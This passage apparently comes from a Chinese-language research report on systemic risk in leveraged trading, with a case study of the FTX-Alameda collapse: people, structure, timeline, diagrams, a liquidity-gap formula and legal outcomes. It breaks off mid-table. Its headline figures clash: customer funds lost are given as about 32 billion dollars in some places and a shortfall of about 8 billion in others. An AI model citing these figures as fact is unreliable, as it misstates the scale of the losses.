Run）</strong>：当投资者同时要求提取资金时，金融机构因流动性不足而无法满足提取需求的现象。</p><p><strong>关联交易（Related Party Transaction）</strong>：金融机构与其关联方之间的资金或资产交易，通常存在利益冲突和监管套利的风险。</p><h2 id="2-理论框架与研究方法">2. 理论框架与研究方法</h2><h3 id="2-1-系统性风险理论基础">2.1 系统性风险理论基础</h3><p>本研究采用现代系统性风险理论框架，结合网络风险传导模型和行为金融学理论，构建统一账户保证金交易的风险分析体系。</p><h3 id="2-2-案例研究方法">2.2 案例研究方法</h3><p>采用历史案例深度分析方法，以FTX-Alameda崩塌为核心案例，通过法庭文件、监管报告和官方声明等第一手资料，重构风险演化过程和传导机制。</p><h2 id="3-系统性风险和连锁反应">3. 系统性风险和连锁反应</h2><p><strong>章节核心观点：</strong> 系统性风险和连锁反应是统一账户保证金交易面临的最具破坏性威胁，其影响范围往往超越单一机构或市场。本章通过LTCM(1998年)和FTX-Alameda(2022年)两个里程碑式案例的深度剖析，揭示了杠杆交易系统性风险的四个核心特征：(1) “太大而不能倒&quot;的机构互联性风险；(2) 信息不对称导致的道德风险集中爆发；(3) 监管套利策略的系统性失效；(4) 技术创新与风险管理滞后的结构性矛盾。研究发现，高杠杆机构的倒闭往往遵循&quot;冰山理论”——表面损失只是全部风险敞口的冰山一角，真正的系统性影响在危机初期很难被完全识别和评估。</p><p>历史经验表明，每一次重大系统性风险事件都会重新界定风险管理的理论边界和实践标准。从LTCM事件推动现代风险管理理论体系的建立，到FTX崩塌促使监管机构重新审视加密货币生态的系统性风险，这些标志性案例揭示了一个核心规律：无论技术多么先进、数学模型多么精密，都无法根本消除人性弱点和制度设计缺陷所带来的系统性风险。</p><h3 id="3-2-FTX-Alameda连锁崩塌案例深度分析">3.2 FTX-Alameda连锁崩塌案例深度分析</h3><h4 id="3-2-1-案例背景与核心人物">3.2.1 案例背景与核心人物</h4><p>FTX和Alameda Research的崩塌是加密货币历史上最大的系统性风险事件之一，这起震撼全球的金融丑闻涉及欺诈、挪用客户资金以及关联交易，最终造成约320亿美元客户资金的损失。</p><p><strong>核心人物介绍：</strong></p><p><strong>Sam Bankman-Fried (SBF)</strong></p><ul><li><strong>背景</strong>：斯坦福大学数学专业毕业，父母均为斯坦福法学教授</li><li><strong>理念</strong>：信奉&quot;有效利他主义&quot;(Effective Altruism)，声称赚钱是为了更好地行善</li><li><strong>形象</strong>：刻意营造的&quot;天才宅男&quot;形象——乱糟糟的卷发、休闲装、开着丰田卡罗拉</li><li><strong>地位</strong>：曾被《财富》杂志评为全球最富有的30岁以下富豪，身价高达263亿美元</li><li><strong>政治影响</strong>：美国民主党第二大政治献金者，2022年捐款超过4000万美元</li></ul><p><strong>Caroline Ellison</strong></p><ul><li><strong>身份</strong>：Alameda Research CEO，SBF前女友</li><li><strong>背景</strong>：MIT经济学家的女儿，斯坦福大学数学专业毕业</li><li><strong>职业</strong>：曾在Jane Street工作，后被SBF招至Alameda</li><li><strong>关键作用</strong>：检方最重要的污点证人，提供了决定性的证词</li><li><strong>个人关系</strong>：与SBF的恋爱关系创造了复杂的权力动态，影响了公司决策</li></ul><h4 id="3-2-2-企业架构与运作模式">3.2.2 企业架构与运作模式</h4><p><strong>图3-1： Bankman-Fried商业帝国组织架构图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Bankman-Fried商业帝国&quot;        A[&quot;Sam Bankman-Fried&lt;br/&gt;创始人/最终控制人&quot;]        B[&quot;FTX交易所&lt;br/&gt;客户资金80亿美元&quot;]        C[&quot;Alameda Research&lt;br/&gt;量化交易公司&quot;]        D[&quot;FTX Ventures&lt;br/&gt;风险投资部门&quot;]        E[&quot;客户资金&lt;br/&gt;320亿美元&quot;]    end    A --&gt; B    A --&gt; C    A --&gt; D    B --&gt; E    F[&quot;巴哈马豪宅&lt;br/&gt;4000万美元&quot;] --&gt; A    G[&quot;私人飞机&quot;] --&gt; A    H[&quot;政治捐款&lt;br/&gt;4000万美元&quot;] --&gt; A</code></pre><p><em>数据来源：美国司法部起诉书，2022-2023年</em></p><p>如图3-1所示，SBF通过个人绝对控制构建了一个复杂的商业网络，其中最关键的问题在于客户资金与个人资产之间缺乏有效隔离，为后续的资金挪用埋下了隐患。</p><h4 id="3-2-3-公司文化与管理乱象">3.2.3 公司文化与管理乱象</h4><p><strong>居住安排</strong>：</p><ul><li>10名高管共同居住在巴哈马4000万美元的顶层豪宅</li><li>SBF与Ellison等多名员工存在复杂的个人关系</li><li>工作与生活界限模糊，影响职业判断</li></ul><p><strong>决策机制</strong>：</p><ul><li>SBF掌握最终决策权，即使在形式上不担任CEO</li><li>缺乏正规的公司治理结构</li><li>重要财务决策往往通过私人关系而非正规流程做出</li></ul><h4 id="3-2-4-哲学理念与道德扭曲">3.2.4 哲学理念与道德扭曲</h4><p>根据Ellison在法庭的证词，SBF的扭曲道德观包括：</p><ul><li><strong>功利主义极端化</strong>：认为传统道德规则（如&quot;不撒谎&quot;、“不偷窃”）在功利主义框架下不适用</li><li><strong>目的正当化手段</strong>：声称为了&quot;最大化效用&quot;可以违反任何规则</li><li><strong>形象包装</strong>：将对道德的公开承诺描述为&quot;愚蠢的西方人游戏&quot;</li></ul><h4 id="3-2-5-崩塌过程详细时间线（2022年11月）">3.2.5 崩塌过程详细时间线（2022年11月）</h4><p><strong>11月2日：第一颗多米诺骨牌</strong></p><ul><li><strong>CoinDesk报道</strong>：Alameda Research的资产负债表显示，其335亿美元资产中有146亿美元为FTT代币和FTX股权</li><li><strong>市场反应</strong>：投资者开始质疑Alameda的实际偿债能力</li><li><strong>关键问题</strong>：FTT代币缺乏流动性，难以快速变现</li></ul><p><strong>11月6日：币安宣布抛售</strong></p><ul><li><strong>Changpeng Zhao (CZ)推文</strong>：“基于最近披露的信息，币安决定清算我们持有的所有FTT代币”</li><li><strong>抛售规模</strong>：5.8亿美元的FTT代币</li><li><strong>触发效应</strong>：引发市场恐慌性抛售</li></ul><p><strong>11月8日：绝望的求救</strong></p><ul><li><strong>SBF推文</strong>：“FTX运营良好。资产覆盖所有客户持有量”</li><li><strong>币安收购提议</strong>：CZ宣布币安将收购FTX以&quot;帮助客户&quot;</li><li><strong>SBF表态</strong>：“这对用户有利，CZ在建设全球加密生态系统方面做得非常出色”</li></ul><p><strong>11月9日：收购告吹</strong></p><ul><li><strong>币安撤回</strong>：经过尽职调查后，币安宣布&quot;不再推进对FTX的收购&quot;</li><li><strong>理由</strong>：“挪用客户资金和美国机构调查的最新报道”</li><li><strong>市场崩塌</strong>：FTT价格暴跌，客户提取激增</li></ul><p><strong>11月10日：监管介入</strong></p><ul><li><strong>巴哈马监管机构</strong>：冻结FTX资产</li><li><strong>Sequoia Capital</strong>：将2.1亿美元投资减记为零</li><li><strong>内部混乱</strong>：高管开始逃离公司</li></ul><p><strong>11月11日：破产申请</strong></p><ul><li><strong>Chapter 11破产</strong>：FTX正式申请破产保护</li><li><strong>SBF辞职</strong>：被John Ray III替代（曾处理安然破产案）</li><li><strong>资金缺口</strong>：约80亿美元客户资金无法找到</li></ul><p><strong>11月12日：真相大白</strong></p><ul><li><strong>《华尔街日报》报道</strong>：FTX向Alameda提供了数十亿美元客户资金</li><li><strong>内部人士确认</strong>：高管早就知道资金挪用情况</li></ul><h4 id="3-2-6-崩塌过程技术分析">3.2.6 崩塌过程技术分析</h4><p><strong>图3-2： FTX-Alameda崩塌过程四阶段演化图</strong></p><pre><code class="highlight mermaid">flowchart TD    subgraph &quot;第一阶段：信任危机&quot;        A[&quot;CoinDesk报道&lt;br/&gt;11月2日&quot;] --&gt; B[&quot;市场质疑Alameda偿债能力&quot;]        B --&gt; C[&quot;FTT代币开始下跌&quot;]    end    subgraph &quot;第二阶段：流动性挤兑&quot;        D[&quot;币安抛售FTT&lt;br/&gt;11月6日&quot;] --&gt; E[&quot;恐慌性抛售开始&quot;]        E --&gt; F[&quot;FTT价格从$22跌至$5&lt;br/&gt;跌幅77%&quot;]    end    subgraph &quot;第三阶段：担保品崩塌&quot;        G[&quot;Alameda担保品价值暴跌&quot;] --&gt; H[&quot;无法满足保证金要求&quot;]        H --&gt; I[&quot;FTX挪用客户资金&lt;br/&gt;约80亿美元&quot;]    end    subgraph &quot;第四阶段：系统性崩溃&quot;        J[&quot;客户发现资金短缺&quot;] --&gt; K[&quot;大规模提取需求&quot;]        K --&gt; L[&quot;流动性危机爆发&quot;]        L --&gt; M[&quot;破产申请&lt;br/&gt;11月11日&quot;]    end    C --&gt; D    F --&gt; G    I --&gt; J</code></pre><p><em>数据来源：法庭证词，新闻报道，2022年11月</em></p><p>图3-2展示了FTX崩塌的四个关键阶段，从最初的信任危机到最终的系统性崩溃，整个过程仅历时10天时间，充分体现了现代金融危机传导的高速性和破坏性。</p><h4 id="3-2-7-FTX风险因素分析">3.2.7 FTX风险因素分析</h4><p><strong>图3-3： FTX风险因素及其后果分析图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;风险集中度&quot;        A[&quot;FTT代币集中持有&quot;]        B[&quot;关联交易缺乏隔离&quot;]        C[&quot;客户资金被挪用&quot;]    end    subgraph &quot;监管后果&quot;        D[&quot;CFTC罚款127亿美元&quot;]        E[&quot;SBF被判刑25年&quot;]        F[&quot;行业监管加强&quot;]    end    A --&gt; G[&quot;系统性崩塌&quot;]    B --&gt; G    C --&gt; G    G --&gt; D    G --&gt; E    G --&gt; F</code></pre><p><em>数据来源：CFTC官方文件，法庭判决书，2023-2024年</em></p><p>图3-3总结了FTX崩塌的三个核心风险因素及其导致的监管后果。值得特别注意的是，127亿美元的CFTC罚款创下了美国商品期货监管历史的最高纪录。</p><h3 id="3-3-关键风险因素深度分析">3.3 关键风险因素深度分析</h3><h4 id="3-3-1-担保品集中度风险：自己发行的代币作担保">3.3.1 担保品集中度风险：自己发行的代币作担保</h4><p>根据Caroline Ellison的法庭证词和法庭文件：</p><ul><li><strong>FTT代币结构</strong>：FTX发行的平台代币，总供应量3.5亿枚</li><li><strong>集中持有</strong>：约85%由FTX和Alameda控制，真实市场流通量极小</li><li><strong>价格操控</strong>：SBF通过控制供应量维持FTT价格，形成&quot;纸面财富&quot;</li><li><strong>致命循环</strong>：用自己发行的代币给自己的公司提供担保</li></ul><p><strong>数值化分析</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Alameda借款结构（2022年10月）：</span><br><span class="line">- 总借款：约140亿美元</span><br><span class="line">- FTT代币担保：约55亿美元（按$22计算）</span><br><span class="line">- 其他担保品：约35亿美元</span><br><span class="line">- 无担保信用：约50亿美元</span><br><span class="line"></span><br><span class="line">当FTT从$22跌至$5时：</span><br><span class="line">- FTT担保品价值：从55亿跌至12亿</span><br><span class="line">- 担保品缺口：43亿美元</span><br><span class="line">- 需要补充保证金：立即追加43亿美元</span><br></pre></td></tr></table></figure><h4 id="3-3-2-关联交易风险：客户资金的非法挪用">3.3.2 关联交易风险：客户资金的非法挪用</h4><p><strong>图3-4： FTX客户资金挪用路径及风控失效图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;资金挪用路径&quot;        A[&quot;FTX客户存款&lt;br/&gt;约120亿美元&quot;] --&gt; B[&quot;Alameda&#x27;信用额度&#x27;&lt;br/&gt;实为挪用&quot;]        B --&gt; C[&quot;风险投资&lt;br/&gt;30亿美元&quot;]        B --&gt; D[&quot;政治捐款&lt;br/&gt;1.5亿美元&quot;]        B --&gt; E[&quot;房地产&lt;br/&gt;3亿美元&quot;]        B --&gt; F[&quot;个人支出&lt;br/&gt;1亿美元&quot;]        B --&gt; G[&quot;交易损失&lt;br/&gt;40亿美元&quot;]    end    H[&quot;风险控制系统&quot;] --&gt; I[&quot;被故意绕过&quot;]    J[&quot;客户资金隔离&quot;] --&gt; K[&quot;完全失效&quot;]</code></pre><p><em>数据来源：检方证据，Caroline Ellison法庭证词，2023年</em></p><p>如图3-4所示，FTX客户资金被大规模挪用为高风险投资和个人支出，其中交易损失和风险投资占最大比例，达到70亿美元。同时，内置的风险控制系统被人为绕过，传统的客户资金隔离保护机制完全失效。</p><p><strong>内部管控失效证据</strong>：</p><ul><li><strong>&quot;Unlimited&quot;信用额度</strong>：Alameda在FTX系统中拥有无限制提取权限</li><li><strong>负余额豁免</strong>：Alameda账户被设置为可以无限透支</li><li><strong>监控系统绕过</strong>：FTX的风险管理系统对Alameda不适用</li></ul><h4 id="3-3-3-个人关系复杂化风险决策">3.3.3 个人关系复杂化风险决策</h4><p>Caroline Ellison证词揭示的权力动态：</p><ul><li><strong>恋爱关系影响</strong>：Ellison作为CEO但实际决策权在SBF</li><li><strong>情感操控</strong>：SBF利用个人关系影响商业决策</li><li><strong>沟通障碍</strong>：分手后两人避免直接沟通，影响风险管理</li></ul><h4 id="3-3-4-道德扭曲与风险合理化">3.3.4 道德扭曲与风险合理化</h4><p>SBF的扭曲逻辑链条：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&quot;有效利他主义&quot; → 赚钱是为了行善 → 目的正当化手段 →</span><br><span class="line">规则不适用于我 → 挪用客户资金合理化</span><br></pre></td></tr></table></figure><h4 id="3-3-5-流动性危机的数学模型">3.3.5 流动性危机的数学模型</h4><p><strong>公式3-1： 流动性缺口计算公式</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:2em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span><span class="mord mathnormal">G</span></span></span></span> = 流动性缺口（Liquidity Gap）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> = 第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>个客户的提取需求金额（Withdrawal demand）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> = 第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>类可快速变现的资产价值（Liquid assets）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> = 客户总数</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> = 可变现资产类型数</li></ul><p>公式3-1显示，当<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">L</span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>时，机构面临流动性危机。</p><p><strong>FTX实际数据</strong>：</p><ul><li><strong>客户提取需求</strong>：约80亿美元（48小时内）</li><li><strong>实际可用资金</strong>：<ul><li>现金：约5亿美元</li><li>流动代币：约3亿美元</li><li>FTT代币：约12亿美元（但抛售会进一步压低价格）</li></ul></li><li><strong>流动性缺口</strong>：约60亿美元</li></ul><h4 id="3-3-6-法律后果与行业影响">3.3.6 法律后果与行业影响</h4><p><strong>刑事判决</strong>：</p><ul><li><strong>Sam Bankman-Fried</strong>：25年监禁，赔偿110亿美元</li><li><strong>Caroline Ellison</strong>：2年监禁（合作减刑）</li><li><strong>Gary Wang</strong>：无监禁（技术协助）</li><li><strong>Ryan Salame</strong>：7.5年监禁</li></ul><p><strong>民事影响</strong>：</p><ul><li><strong>CFTC罚款</strong>：127亿美元（史上最大）</li><li><strong>客户损失</strong>：约90%资金有望追回</li><li><strong>机构损失</strong>：红杉资本等损失超过20亿美元</li></ul><h3 id="3-4-系统性影响分析">3.4 系统性影响分析</h3><p><strong>图3-5： FTX崩塌的系统性连锁反应图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;直接影响&quot;        A[&quot;FTX破产&quot;] --&gt; B[&quot;客户资金冻结&lt;br/&gt;320亿美元&quot;]        A --&gt; C[&quot;员工失业&lt;br/&gt;约300人&quot;]    end    subgraph &quot;行业冲击&quot;        D[&quot;投资者信心崩塌&quot;] --&gt; E[&quot;加密货币总市值下跌&lt;br/&gt;2000亿美元&quot;]        D --&gt; F[&quot;监管加强&lt;br/&gt;全球范围&quot;]        D --&gt; G[&quot;风投撤资&lt;br/&gt;约50%项目融资困难&quot;]    end    subgraph &quot;机构损失&quot;        H[&quot;红杉资本：2.1亿&quot;]        I[&quot;软银：1亿&quot;]        J[&quot;淡马锡：2.75亿&quot;]        K[&quot;Ontario Teachers：9500万&quot;]    end    B --&gt; D    E --&gt; H    E --&gt; I    E --&gt; J    E --&gt; K</code></pre><p><em>数据来源：各机构公开声明，市场数据，2022-2023年</em></p><p>图3-5显示了FTX崩塌的多层次影响，从直接的客户资金损失到行业信心崩塌，再到顶级投资机构的巨额损失，充分体现了现代金融危机的系统性传导特征。</p><h2 id="4-FTX崩塌的根本原因深度剖析">4. FTX崩塌的根本原因深度剖析</h2><p><strong>章节核心观点：</strong> 本章从四个层次深入剖析FTX崩塌的根本原因：(1) 风险的本质分析层——从结构性设计缺陷、信息不对称、激励扭曲和监管失效四个维度揭示风险产生的源头；(2) 各方作用的系统性分析层——通过分析SBF、Caroline Ellison、投资机构和监管机构在风险传导中的不同角色和作用机制；(3) 风险传导机制层——揭示个体风险如何通过网络效应演化为系统性危机；(4) 制度文化根因层——从行业文化、创新与监管博弈、金融体系脆弱性等深层次角度探究问题的结构性根源。研究发现，FTX崩塌不是单纯的商业失败，而是现代金融创新与风险管理不匹配的系统性体现。</p><h3 id="4-1-风险的本质分析">4.1 风险的本质分析</h3><p>FTX的崩塌不是简单的市场风险或技术故障，而是<strong>系统性的欺诈与治理失败</strong>，其根本原因可以从四个维度深入分析：</p><h4 id="4-1-1-结构性风险：设计缺陷的商业模式">4.1.1 结构性风险：设计缺陷的商业模式</h4><p><strong>图4-1： FTX-Alameda致命的结构设计缺陷图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;致命的结构设计&quot;        A[&quot;FTX交易所&lt;br/&gt;客户资金托管&quot;]        B[&quot;Alameda Research&lt;br/&gt;量化交易公司&quot;]        C[&quot;同一控制人SBF&quot;]        A -.-&gt;|资金池共享| B        B -.-&gt;|亏损反哺| A        C --&gt;|绝对控制| A        C --&gt;|绝对控制| B        D[&quot;客户以为资金安全&quot;] --&gt; A        E[&quot;实际被挪用投机&quot;] --&gt; B    end</code></pre><p><em>数据来源：法庭文件，公司组织架构图，2022年</em></p><p>图4-1揭示了FTX-Alameda的核心结构性问题：表面上是两个独立的公司，实际上存在严重的利益冲突和资金池混同，这种设计为后续的风险爆发埋下了基础。</p><p><strong>结构性问题分析</strong>：</p><ul><li><strong>伪隔离设计</strong>：表面上是两个独立公司，实际上是一个资金池</li><li><strong>利益冲突</strong>：交易所既是市场制造商，又通过Alameda参与交易</li><li><strong>监管套利</strong>：利用不同司法管辖区的监管差异</li></ul><h4 id="4-1-2-信息不对称风险：知情者与非知情者的博弈">4.1.2 信息不对称风险：知情者与非知情者的博弈</h4><p><strong>信息层级结构</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">第一层：SBF + 核心圈（完全知情）</span><br><span class="line">    ↓ 信息壁垒</span><br><span class="line">第二层：高级员工（部分知情）</span><br><span class="line">    ↓ 信息壁垒</span><br><span class="line">第三层：普通员工（不知情）</span><br><span class="line">    ↓ 信息壁垒</span><br><span class="line">第四层：投资者和客户（完全被蒙蔽）</span><br></pre></td></tr></table></figure><p><strong>信息操控手段</strong>：</p><ul><li><strong>技术手段</strong>：给Alameda特殊系统权限，绕过风控</li><li><strong>财务手段</strong>：制作多版本资产负债表，隐瞒真实财务状况</li><li><strong>公关手段</strong>：SBF作为行业领袖的形象包装和媒体操控</li></ul><h4 id="4-1-3-激励机制扭曲：风险与收益的错配">4.1.3 激励机制扭曲：风险与收益的错配</h4><p><strong>扭曲的激励结构</strong>：</p><p>表3-3分析了FTX-Alameda生态系统中各个角色的风险承担与收益获得的错配关系，揭示了道德风险在系统性风险中的关键作用。</p><p><strong>表3-3: FTX-Alameda生态系统激励机制扭曲分析表</strong></p><table><thead><tr><th>角色</th><th>承担风险</th><th>获得收益</th><th>激励扭曲</th></tr></thead><tbody><tr><td>SBF</td><td>几乎零（他人资金）</td><td>巨额（名声+财富）</td><td>道德风险极大化</td></tr><tr><td>Caroline Ellison</td><td>职业+法律风险</td><td>薪酬+感情依赖</td><td>服从权威</td></tr><tr><td>核心员工</td><td>职业风险</td><td>高薪+股权</td><td>保持沉默</td></tr><tr><td>投资者</td><td>全部本金</td><td>预期回报</td><td>信息严重不对称</td></tr><tr><td>客户</td><td>全部资金</td><td>交易便利</td><td>完全被动</td></tr></tbody></table><p><em>数据来源：法庭证词，SEC起诉书，2022-2023年</em></p><h4 id="4-1-4-监管失效：制度真空中的野蛮生长">4.1.4 监管失效：制度真空中的野蛮生长</h4><p><strong>监管套利策略</strong>：</p><ul><li><strong>地理套利</strong>：在巴哈马注册，避开美国严格监管</li><li><strong>产品套利</strong>：将证券型代币包装为功能性代币</li><li><strong>监管捕获</strong>：通过政治捐款影响监管政策</li></ul><h3 id="4-2-各方作用的系统性分析">4.2 各方作用的系统性分析</h3><h4 id="4-2-1-Sam-Bankman-Fried：系统性风险的核心制造者">4.2.1 Sam Bankman-Fried：系统性风险的核心制造者</h4><p><strong>图4-2： SBF权力集中度分析图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;SBF的权力版图&quot;        A[&quot;决策权&lt;br/&gt;100%&quot;] --&gt; B[&quot;FTX战略方向&quot;]        A --&gt; C[&quot;Alameda投资策略&quot;]        A --&gt; D[&quot;资金分配权限&quot;]        E[&quot;信息控制权&lt;br/&gt;90%&quot;] --&gt; F[&quot;对外披露内容&quot;]        E --&gt; G[&quot;内部信息流向&quot;]        H[&quot;人事权&lt;br/&gt;100%&quot;] --&gt; I[&quot;核心岗位任命&quot;]        H --&gt; J[&quot;薪酬体系设计&quot;]        K[&quot;象征权力&lt;br/&gt;80%&quot;] --&gt; L[&quot;行业话语权&quot;]        K --&gt; M[&quot;监管影响力&quot;]    end</code></pre><p><em>数据来源：组织结构分析，员工证词，2023年</em></p><p>图4-2展示了SBF在FTX-Alameda系统中的权力集中程度。在决策权和人事权方面，SBF拥有100%的控制力，这种极端的权力集中为系统性风险的产生创造了条件。</p><p><strong>风险制造机制</strong>：</p><ul><li><strong>道德风险</strong>：用他人资金进行高风险投机</li><li><strong>操作风险</strong>：绕过所有内控制度</li><li><strong>声誉风险</strong>：利用个人声誉为欺诈背书</li></ul><h4 id="4-2-2-Caroline-Ellison：权力结构中的关键执行者">4.2.2 Caroline Ellison：权力结构中的关键执行者</h4><p><strong>角色冲突分析</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">CEO身份 ←→ 女友身份</span><br><span class="line">  ↓           ↓</span><br><span class="line">正式权力    非正式影响</span><br><span class="line">  ↓           ↓</span><br><span class="line">应当独立    实际依赖</span><br><span class="line">  ↓           ↓</span><br><span class="line">风险控制    风险执行</span><br></pre></td></tr></table></figure><p><strong>Ellison的风险传导作用</strong>：</p><ul><li><strong>执行层面</strong>：将SBF的指令转化为具体操作</li><li><strong>合规层面</strong>：利用CEO身份为违法行为提供合法外衣</li><li><strong>信息层面</strong>：成为信息传递和控制的关键节点</li></ul><h4 id="4-2-3-投资机构：风险放大器与受害者的双重角色">4.2.3 投资机构：风险放大器与受害者的双重角色</h4><p><strong>知名投资者分析</strong>：</p><p>表3-4分析了FTX主要机构投资者的投资行为和风险传导机制，展现了顶级投资机构在尽职调查中的系统性失误。</p><p><strong>表3-4: 